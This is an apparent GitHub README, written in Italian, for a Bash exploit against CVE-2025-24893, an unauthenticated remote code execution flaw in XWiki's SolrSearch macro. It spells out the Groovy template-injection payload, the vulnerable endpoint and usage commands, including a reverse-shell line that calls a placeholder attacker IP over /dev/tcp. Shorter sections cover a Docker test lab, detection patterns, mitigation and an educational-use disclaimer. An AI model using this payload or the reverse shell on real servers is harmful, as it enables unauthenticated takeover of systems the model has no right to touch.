0xdtc/xwiki-platform-rce-cve-2025-24893Bash exploit per CVE-2025-24893, una vulnerabilità di esecuzione remota di codice non autenticata nella piattaforma XWiki tramite iniezione di template nella macro SolrSearch.
Questo script è un'implementazione Bash rivisitata di un exploit che colpisce le versioni della piattaforma XWiki affette da CVE-2025-24893. Sfrutta una critica vulnerabilità di esecuzione di codice remoto non autenticata che consente agli attaccanti di eseguire codice Groovy arbitrario tramite un difetto di template injection nella macro SolrSearch.
Le implementazioni originali dell'exploit in Python sono state create da vari ricercatori di sicurezza e sono qui adattate per utenti Bash con esecuzione semplificata e usabilità migliorata.
text quando viene acceduto tramite l'endpoint RSS media, permettendo agli attaccanti di iniettare codice Groovy malevolo nella pipeline di rendering senza autenticazione.curl: Per inviare richieste HTTP.jq: Per la codifica URL del payload.Fornisci i permessi di esecuzione:
chmod +x CVE-2025-24893
Esegui lo script con gli argomenti richiesti:
./CVE-2025-24893 <target_url> <command>
| Parametro | Descrizione |
|---|---|
<target_url> | L'URL XWiki di destinazione (es., http://example.com o https://xwiki.example.org). Il protocollo è opzionale. |
<command> | Il comando di sistema da eseguire sul server di destinazione. |
Verifica se il target è vulnerabile (esegui il comando id):
./CVE-2025-24893 http://vulnerable-xwiki.example.com "id"
Recupera informazioni di sistema:
./CVE-2025-24893 http://vulnerable-xwiki.example.com "uname -a"
Crea un file di test:
./CVE-2025-24893 http://vulnerable-xwiki.example.com "touch /tmp/pwned"
Reverse shell (sostituisci con il tuo IP e porta):
./CVE-2025-24893 http://vulnerable-xwiki.example.com "bash -c 'bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1'"
Analisi degli argomenti da riga di comando:
http:// se non è specificato alcun protocollo.Costruzione del payload:
.execute().}}}{{async async=false}}{{groovy}}<codice>{{/groovy}}{{/async}}Codifica URL:
jq per una corretta trasmissione HTTP.Sfruttamento:
/xwiki/bin/get/Main/SolrSearch?media=rss&text=<payload_codificato>La catena di sfruttamento funziona come segue:
}}}{{async async=false}}{{groovy}}'<comando>'.execute();{{/groovy}}{{/async}}
}}} - Chiude qualsiasi contesto macro esistente{{async async=false}} - Assicura l'esecuzione sincrona{{groovy}}...{{/groovy}} - Avvolge il codice Groovy malevolo'<comando>'.execute(); - Esegue il comando di sistema specificatoA scopo di test, puoi configurare un'istanza XWiki vulnerabile usando Docker:
docker run -d -p 8080:8080 --name xwiki-vulnerable xwiki:15.10.10
# Attendi l'avvio di XWiki (potrebbe richiedere 1-2 minuti)
./CVE-2025-24893 http://localhost:8080 "whoami"
Lo sfruttamento riuscito di questa vulnerabilità consente a un attaccante non autenticato di:
Secondo CISA e diversi vendor di sicurezza:
Monitora richieste sospette verso l'endpoint SolrSearch:
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=*
Cerca pattern contenenti:
{{groovy}}{{async}}.execute()/tmp o altre directory scrivibiliAggiorna XWiki a una versione corretta:
Applica soluzioni temporanee (se l'aggiornamento immediato non è possibile):
Monitora per compromissioni:
Questo script è solo a scopo educativo. L'uso non autorizzato di questo strumento contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione è illegale e non etico. Usalo responsabilmente.
Devi avere un'autorizzazione scritta esplicita dal proprietario del sistema prima di testarlo.
Gli autori di questo strumento non sono responsabili per qualsiasi uso improprio o danno causato da questo script. Gli utenti sono gli unici responsabili di assicurarsi di avere la corretta autorizzazione e di rispettare tutte le leggi e i regolamenti applicabili.